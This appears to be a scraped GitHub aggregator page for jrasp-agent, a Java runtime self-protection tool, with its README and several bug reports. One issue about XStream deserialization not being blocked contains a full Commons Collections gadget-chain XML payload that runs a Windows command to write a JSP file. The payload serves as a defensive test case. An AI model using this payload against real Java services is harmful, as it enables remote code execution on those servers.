Git Product home page Git Product logo

jrasp-agent's Introduction

jrasp-agent

Build Status Version Go Guild Version Maven Version Java Build Version License install platform

01 Project introduction 中文说明

Java Runtime Application Self Protection means Java application self-protection system, which is called 'jrasp' for short.

jrasp-agent is the core part of jrasp project.

jrasp-agent based on Java Agent technology, modifies Java bytecode, adds security detection logic, detects and blocks vulnerability attacks in real time.

02 Characteristics

Functional characteristics

  • Security plug-in can be customized
  • Detection logic low delay
  • Plug in Hot Update
  • Java Process Identification and Automatic Injection
  • Support native method hooks such as command execution to completely prevent bypassing;
  • Compatible with Windows, Mac and Linux
  • Small size, core jar package 600KB

Performance

  • Increase CPU by 5% (test under normal request)
  • Memory consumption below 200MB

Self security

  • Plug in and daemon HASH verification
  • Agent and Daemon socket customized communication protocol and RSA asymmetric encryption;
  • The core functions are loaded by custom class loaders and isolated from business classes, which improves the difficulty of attacking RASP from within the JVM;
  • Reflection reinforcement: RASP core methods (such as unloading, degradation, etc.) reflect reinforcement to prevent malicious reflection;
  • Do not use third-party frameworks, such as servlet, json, sl4j2, apache common, etc

Security module

Security module of jrasp agent The currently supported modules are:

  • Command execution module (native)
  • Deserialization module (jdk deserialization/fastjson/yaml/stream)
  • HTTP module (springboot/tomcat/jetty/underwown/spark) (IP blacklist/URL blacklist/scanner identification)
  • xxe module (dom4j/jdom/jdk)
  • File access module (io/nio)
  • Expression injection module (spel/ognl)
  • SQL injection (mysql)
  • JNDI injection
  • SSRF
  • shiro

under development:

  • danger protocol
  • DNS query
  • Memory
  • Class loader
  • attach

Supported jdk versions

  • jdk6+

jdk11+ --add-opens=java.base/java.lang=ALL-UNNAMED

03 Install (centos)

how to install

04 develop & Compilation (can be skipped, use the release package)

  • jdk 1.8
  • golang 1.19
  • maven 3.8.5

Enter the jrsap-agent/bin directory and execute the corresponding environment script.

It should be noted that macOs/windows is only for development and testing.

05 Version record

RELEASE

06 Wechart

wx:XL1870011370

07 Official website

https://www.jrasp.com

08 Explanation

09 Users

If you are using it, please contact us and add it here.

10 Copyright Information

GPL3.0(You can learn and use in your own projects, but commercialization must be authorized)

jrasp-agent's People

Contributors

hsintsao avatar hycsxs avatar jvm-rasp avatar xl1605368195 avatar yuebusao avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

jrasp-agent's Issues

[bug] com.jrasp.agent.core.CoreConfigure#getLogsPath

public String getLogsPath() {
        String logDir = featureMap.get(KEY_LOG_PATH);

        // return "".equals(logDir) ? getJRASPHome() + File.separator + KEY_LOGS_LIB_PATH : logDir;        

        // 增加 null 判断,如果手动配置 -javaagent 不配置 LOG_PATH 参数取的路径为 null 导致无法启动。
        return logDir == null || "".equals(logDir) ? getJRASPHome() + File.separator + KEY_LOGS_LIB_PATH : logDir;
}

transform: sun/net/www/protocol/http/HttpURLConnection failed, in loader: null

类转换时抛出异常:
java.lang.ClassCircularityError: sun/net/www/protocol/http/HttpURLConnection
java.lang.Class.forName0(Native Method)
java.lang.Class.forName(Class.java:348)
com.jrasp.agent.core.enhance.EventEnhancer$1.getCommonSuperClass(EventEnhancer.java:46)
org.objectweb.asm.SymbolTable.addMergedType(SymbolTable.java:1202)
org.objectweb.asm.Frame.merge(Frame.java:1299)
org.objectweb.asm.Frame.merge(Frame.java:1207)
org.objectweb.asm.MethodWriter.computeAllFrames(MethodWriter.java:1611)
org.objectweb.asm.MethodWriter.visitMaxs(MethodWriter.java:1547)
org.objectweb.asm.ClassReader.readCode(ClassReader.java:2665)
org.objectweb.asm.ClassReader.readMethod(ClassReader.java:1514)
org.objectweb.asm.ClassReader.accept(ClassReader.java:744)
org.objectweb.asm.ClassReader.accept(ClassReader.java:424)
com.jrasp.agent.core.enhance.EventEnhancer.toByteCodeArray(EventEnhancer.java:76)
com.jrasp.agent.core.manager.RaspClassFileTransformer._transform(RaspClassFileTransformer.java:71) com.jrasp.agent.core.manager.RaspClassFileTransformer.transform(RaspClassFileTransformer.java:49)
sun.instrument.TransformerManager.transform(TransformerManager.java:188)
sun.instrument.InstrumentationImpl.transform(InstrumentationImpl.java:428)
sun.net.www.protocol.http.Handler.openConnection(Handler.java:62)
sun.net.www.protocol.http.Handler.openConnection(Handler.java:57)
java.net.URL.openConnection(URL.java:1001)
net.sf.ehcache.util.UpdateChecker.getUpdateProperties(UpdateChecker.java:106)
net.sf.ehcache.util.UpdateChecker.doCheck(UpdateChecker.java:72)
net.sf.ehcache.util.UpdateChecker.checkForUpdate(UpdateChecker.java:60)
net.sf.ehcache.util.UpdateChecker.run(UpdateChecker.java:51)
java.util.TimerThread.mainLoop(Timer.java:555)
java.util.TimerThread.run(Timer.java:505)

告警不准确

使用openrasp的靶场,使用"012 - SQLi - MySQL executeQuery 方式" 演示,告警日志中出现的告警是 “任意文件读取”,而不是SQL注入

1.1.3 版本中 jrasp-daemon service 守护进程一直无法启动

根据文档来的 https://www.jrasp.com/guide/install/v1.1.3/install-all.html

报错如图

root@VM-12-14-debian:~# systemctl status jrasp-daemon.service
● jrasp-daemon.service - jrasp-daemon service
Loaded: loaded (/lib/systemd/system/jrasp-daemon.service; enabled; vendor preset: enabled)
Active: failed (Result: exit-code) since Wed 2024-02-28 11:34:52 CST; 1min 52s ago
Main PID: 3428779 (code=exited, status=2)
CPU: 33ms

Feb 28 11:34:52 VM-12-14-debian systemd[1]: jrasp-daemon.service: Scheduled restart job, restart counter is at 5.
Feb 28 11:34:52 VM-12-14-debian systemd[1]: Stopped jrasp-daemon service.
Feb 28 11:34:52 VM-12-14-debian systemd[1]: jrasp-daemon.service: Start request repeated too quickly.
Feb 28 11:34:52 VM-12-14-debian systemd[1]: jrasp-daemon.service: Failed with result 'exit-code'.
Feb 28 11:34:52 VM-12-14-debian systemd[1]: Failed to start jrasp-daemon service.

image

[bug] spelMaxLimitLengthAction 开关项不匹配

com.jrasp.agent.module.expression.algorithm.impl.SpelAlgorithm#check

// 检测算法2: 最大长度限制
            if (this.spelMaxLimitLengthAction > -1) {
                if (expression.length() >= spelMaxLimitLength) {
                    doAction(context, expression, spelBlackListAction, "the length of the expression exceeds the max length, length: " + expression.length(), 80);
                }
            }

[bug] com.jrasp.agent.api.request.HttpServletResponse#sendError(com.jrasp.agent.api.request.Context, com.jrasp.agent.api.RaspConfig)

/**

请求的头是这样的,如果用包含判断是不准的,永远是响应 xml 格式的。 代码 contains 改成 startsWith 判断。

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

**/
public void sendError(Context context, RaspConfig raspConfig) throws Exception {
                //  。。。 省略 。。。
                if (contentType != null && contentType.startsWith(CONTENT_TYPE_JSON_VALUE)) {
                    script = raspConfig.getJsonBlockContent();
                } else if (contentType != null && (contentType.startsWith(CONTENT_TYPE_XML_VALUE) || contentType.startsWith(CONTENT_TYPE_TEXT_XML))) {
                    script = raspConfig.getXmlBlockContent();
                } else {
                    script = raspConfig.getHtmlBlockContent();
                }
                //  。。。 省略 。。。
        }
    }

[bug] xml_black_package_list xstream 反序列化没有阻断,缺少配置。

<map>
  <entry>
    <org.apache.commons.collections.keyvalue.TiedMapEntry>
      <map class="org.apache.commons.collections.map.LazyMap" serialization="custom">
        <unserializable-parents/>
        <org.apache.commons.collections.map.LazyMap>
          <default>
            <factory class="org.apache.commons.collections.functors.ChainedTransformer">
              <iTransformers>
                <org.apache.commons.collections.functors.ConstantTransformer>
                  <iConstant class="java-class">java.lang.Runtime</iConstant>
                </org.apache.commons.collections.functors.ConstantTransformer>
                <org.apache.commons.collections.functors.InvokerTransformer>
                  <iMethodName>getMethod</iMethodName>
                  <iParamTypes>
                    <java-class>java.lang.String</java-class>
                    <java-class>[Ljava.lang.Class;</java-class>
                  </iParamTypes>
                  <iArgs>
                    <string>getRuntime</string>
                    <java-class-array/>
                  </iArgs>
                </org.apache.commons.collections.functors.InvokerTransformer>
                <org.apache.commons.collections.functors.InvokerTransformer>
                  <iMethodName>invoke</iMethodName>
                  <iParamTypes>
                    <java-class>java.lang.Object</java-class>
                    <java-class>[Ljava.lang.Object;</java-class>
                  </iParamTypes>
                  <iArgs>
                    <null/>
                    <object-array/>
                  </iArgs>
                </org.apache.commons.collections.functors.InvokerTransformer>
                <org.apache.commons.collections.functors.InvokerTransformer>
                  <iMethodName>exec</iMethodName>
                  <iParamTypes>
                    <java-class>[Ljava.lang.String;</java-class>
                  </iParamTypes>
                  <iArgs>
                    <string-array>
                      <string>cmd</string>
                      <string>/c</string>
                      <string>echo &quot;hello&quot; &gt; &quot;d:\hello.jsp&quot;</string>
                    </string-array>
                  </iArgs>
                </org.apache.commons.collections.functors.InvokerTransformer>
                <org.apache.commons.collections.functors.ConstantTransformer>
                  <iConstant class="int">1</iConstant>
                </org.apache.commons.collections.functors.ConstantTransformer>
              </iTransformers>
            </factory>
          </default>
          <map/>
        </org.apache.commons.collections.map.LazyMap>
      </map>
      <key class="string">keykey</key>
    </org.apache.commons.collections.keyvalue.TiedMapEntry>
    <string>valuevalue</string>
  </entry>
</map>

java.lang.ClassCastException: org.dom4j.io.SAXReader cannot be cast to org.dom4j.io.SAXReader

java.lang.ClassCastException: org.dom4j.io.SAXReader cannot be cast to org.dom4j.io.SAXReader
	at com.jrasp.agent.module.xxe.hook.XxeModule$6.before(XxeModule.java:77)
	at com.jrasp.agent.api.listener.AdviceAdapterListener.switchEvent(AdviceAdapterListener.java:61)
	at com.jrasp.agent.api.listener.AdviceAdapterListener.onEvent(AdviceAdapterListener.java:32)
	at com.jrasp.agent.core.enhance.weaver.EventListenerHandler.handleEvent(EventListenerHandler.java:87)
	at com.jrasp.agent.core.enhance.weaver.EventListenerHandler.handleOnBefore(EventListenerHandler.java:260)
	at java.com.jrasp.agent.bridge110.Spy.spyMethodOnBefore(Spy.java:101)
	at org.dom4j.io.SAXReader.read(SAXReader.java)
	at org.dom4j.io.SAXReader.read(SAXReader.java:264)
	at com.xxx.root.RootUtil.getTitle(RootUtil.java:27)
	at org.apache.jsp.index_jsp._jspService(index_jsp.java:119)
	at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
	at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:476)
	at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:386)
	at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:330)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)

[bug] java.lang.ClassCircularityError: sun/net/www/protocol/http/HttpURLConnection

2023-10-26 12:24:09.791 WARNING localhost.localdomain [DEFAULT] [com.jrasp.agent.core.manager.RaspClassFileTransformer._transform] transform: sun/net/www/protocol/http/HttpURLConnection failed, in loader: null
java.lang.ClassCircularityError: sun/net/www/protocol/http/HttpURLConnection
at java.lang.Class.forName0(Native Method)
at java.lang.Class.forName(Class.java:348)
at com.jrasp.agent.core.enhance.EventEnhancer$1.getCommonSuperClass(EventEnhancer.java:50)
at org.objectweb.asm.SymbolTable.addMergedType(SymbolTable.java:1202)
at org.objectweb.asm.Frame.merge(Frame.java:1299)
at org.objectweb.asm.Frame.merge(Frame.java:1207)
at org.objectweb.asm.MethodWriter.computeAllFrames(MethodWriter.java:1611)
at org.objectweb.asm.MethodWriter.visitMaxs(MethodWriter.java:1547)
at org.objectweb.asm.ClassReader.readCode(ClassReader.java:2665)
at org.objectweb.asm.ClassReader.readMethod(ClassReader.java:1514)
at org.objectweb.asm.ClassReader.accept(ClassReader.java:744)
at org.objectweb.asm.ClassReader.accept(ClassReader.java:424)
at com.jrasp.agent.core.enhance.EventEnhancer.toByteCodeArray(EventEnhancer.java:80)
at com.jrasp.agent.core.manager.RaspClassFileTransformer._transform(RaspClassFileTransformer.java:74)
at com.jrasp.agent.core.manager.RaspClassFileTransformer.transform(RaspClassFileTransformer.java:52)
at sun.instrument.TransformerManager.transform(TransformerManager.java:188)
at sun.instrument.InstrumentationImpl.transform(InstrumentationImpl.java:428)
at sun.net.www.protocol.http.Handler.openConnection(Handler.java:62)
at sun.net.www.protocol.http.Handler.openConnection(Handler.java:57)
at java.net.URL.openConnection(URL.java:1002)
at net.sf.ehcache.util.UpdateChecker.getUpdateProperties(UpdateChecker.java:151)
at net.sf.ehcache.util.UpdateChecker.doCheck(UpdateChecker.java:117)
at net.sf.ehcache.util.UpdateChecker.checkForUpdate(UpdateChecker.java:104)
at net.sf.ehcache.util.UpdateChecker.run(UpdateChecker.java:95)

文件重命名Hook点传参Bug

类路径:com.jrasp.agent.module.file.hook.FileHook

Hook点:renameTo(Ljava/io/File;)Z

修复后的代码:algorithmManager.doCheck(FILE_UPLOAD, requestInfoThreadLocal.get(), advice.getParameterArray()[0]);

image

[bug] clean ProtectionDomain in acc failed.

jdk 版本

java -version
java version "1.6.0_21"
Java(TM) SE Runtime Environment (build 1.6.0_21-b06)
Java HotSpot(TM) 64-Bit Server VM (build 17.0-b16, mixed mode)

调用栈

2023-11-01 11:16:10.827 WARNING WIN-3QSDF286MOL [main] [com.jrasp.agent.core.classloader.ModuleJarClassLoader.<init>] clean ProtectionDomain in acc failed.
	com.jrasp.agent.core.util.UnCaughtException: java.lang.NoSuchMethodException: java.security.AccessControlContext.getContext()
	at com.jrasp.agent.core.util.RaspReflectUtils.unCaughtGetClassDeclaredJavaMethod(RaspReflectUtils.java:31)
	at com.jrasp.agent.core.classloader.ModuleJarClassLoader.cleanProtectionDomainWhichCameFromModuleJarClassLoader(ModuleJarClassLoader.java:76)
	at com.jrasp.agent.core.classloader.ModuleJarClassLoader.<init>(ModuleJarClassLoader.java:59)
	at com.jrasp.agent.core.classloader.ModuleJarClassLoader.<init>(ModuleJarClassLoader.java:35)
	at com.jrasp.agent.core.manager.ModuleJarLoader.load(ModuleJarLoader.java:118)
	at com.jrasp.agent.core.manager.ModuleLibLoader.load(ModuleLibLoader.java:46)
	at com.jrasp.agent.core.manager.DefaultCoreModuleManager.reset(DefaultCoreModuleManager.java:509)
	at com.jrasp.agent.core.server.socket.SocketServer.bind(SocketServer.java:78)
	at com.jrasp.agent.core.server.ProxyCoreServer.bind(ProxyCoreServer.java:39)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
	at java.lang.reflect.Method.invoke(Method.java:597)
	at com.jrasp.agent.launcher110.AgentLauncher.install(AgentLauncher.java:164)
	at com.jrasp.agent.launcher110.AgentLauncher.premain(AgentLauncher.java:62)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
	at java.lang.reflect.Method.invoke(Method.java:597)
	at sun.instrument.InstrumentationImpl.loadClassAndStartAgent(InstrumentationImpl.java:323)
	at sun.instrument.InstrumentationImpl.loadClassAndCallPremain(InstrumentationImpl.java:338)
Caused by: java.lang.NoSuchMethodException: java.security.AccessControlContext.getContext()
	at java.lang.Class.getDeclaredMethod(Class.java:1937)
	at com.jrasp.agent.core.util.RaspReflectUtils.unCaughtGetClassDeclaredJavaMethod(RaspReflectUtils.java:29)
	... 20 more

service.sh 进程探活逻辑优化

$ ps aux | grep jrasp-daemon | grep -v grep
root 69327 0.0 0.0 108096 556 pts/3 S+ 18:42 0:00 tail -f logs/jrasp-daemon.log

命令行包含jrasp-daemon会导致jrasp-daemon无法启动

[版本计划] v1.1.2将于4月初发布

v1.1.2 版本新特性

  • web 管理端使用 golang 重写,占用资源更少,更加安全,整个管理端仅需要一台机器即可
  • 取消 kafka、zookeeper、nacos 等Java 主件,保证功能的同时,更加安全
  • 数据库使用默认使用sqlite

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.